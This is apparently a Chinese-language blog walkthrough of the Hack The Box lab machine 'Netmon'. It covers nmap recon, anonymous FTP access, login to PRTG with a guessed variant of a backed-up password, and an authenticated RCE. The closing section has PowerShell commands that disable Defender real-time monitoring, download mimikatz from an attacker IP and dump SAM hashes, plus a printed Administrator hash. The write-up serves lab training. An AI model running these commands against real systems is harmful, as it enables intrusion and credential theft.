Zumpyx Blog

Netmon

Machines#177EasyWindows
← Machines

Recon

export IP=10.10.10.152

  • nmap -sC -A -p- --min-rate 1000 -T4 10.10.11.234
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 02-02-19  11:18PM                 1024 .rnd
| 02-25-19  09:15PM       <DIR>          inetpub
| 07-16-16  08:18AM       <DIR>          PerfLogs
| 02-25-19  09:56PM       <DIR>          Program Files
| 02-02-19  11:28PM       <DIR>          Program Files (x86)
| 02-03-19  07:08AM       <DIR>          Users
|_11-10-23  09:20AM       <DIR>          Windows
| ftp-syst:
|_  SYST: Windows_NT
80/tcp    open  http         Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)
|_http-server-header: PRTG/18.1.37.13946
| http-title: Welcome | PRTG Network Monitor (NETMON)
|_Requested resource was /index.htm
|_http-trane-info: Problem with XML parsing of /evox/about
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49668/tcp open  msrpc        Microsoft Windows RPC
49669/tcp open  msrpc        Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2016 build 10586 - 14393 (96%), Microsoft Windows Server 2016 (94%), Microsoft Windows 10 (93%), Microsoft Windows 10 1507 (93%), Microsoft Windows 10 1507 - 1607 (93%), Microsoft Windows Server 2012 (93%), Microsoft Windows Server 2012 R2 (93%), Microsoft Windows Server 2012 R2 Update 1 (93%), Microsoft Windows 7, Windows Server 2012, or Windows 8.1 Update 1 (93%), Microsoft Windows Vista SP1 - SP2, Windows Server 2008 SP2, or Windows 7 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2024-01-09T03:28:19
|_  start_date: 2024-01-09T03:24:35

Shell as Root

  • FTP 匿名登陆，可以遍历系统文件

Pasted+image+20240109114447.png

  • 发现安装了 PRTG Network Monitor 软件，看一下应用数据

Pasted+image+20240109114553.png

Pasted+image+20240109114802.png

  • 登录 prtgadmin/PrTg@dmin2018

Pasted+image+20240109125354.png

提示密码错误，由于是备份的密码，考虑时间问题，尝试 PrTg@dmin2019,PrTg@dmin2020 等组合

  • 正确密码: prtgadmin/PrTg@dmin2019，站点可以设置中文

Pasted+image+20240109125904.png

  • 主页有版本，优先查找 CVE

Pasted+image+20240109145130.png

Pasted+image+20240109145147.png

  • 认证 RCE，尝试利用

Pasted+image+20240109150100.png

  • evil-winrm 连接已添加的新用户 pentest/P3nT3st!

Pasted+image+20240109150202.png

Dump Hash

# 关闭实时防护
$preferences = Get-MpPreference
Set-MpPreference -DisableRealtimeMonitoring (!$preferences.DisableRealtimeMonitoring) 

powershell (new-object System.Net.WebClient).DownloadFile('http://10.10.16.6/mimikatz.zip','C:\Users\pentest\Documents\mimikatz.zip')
C:\inetpub\logs\mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit

---
Administrator:d0f73603a4d96655430fdf02de4afaee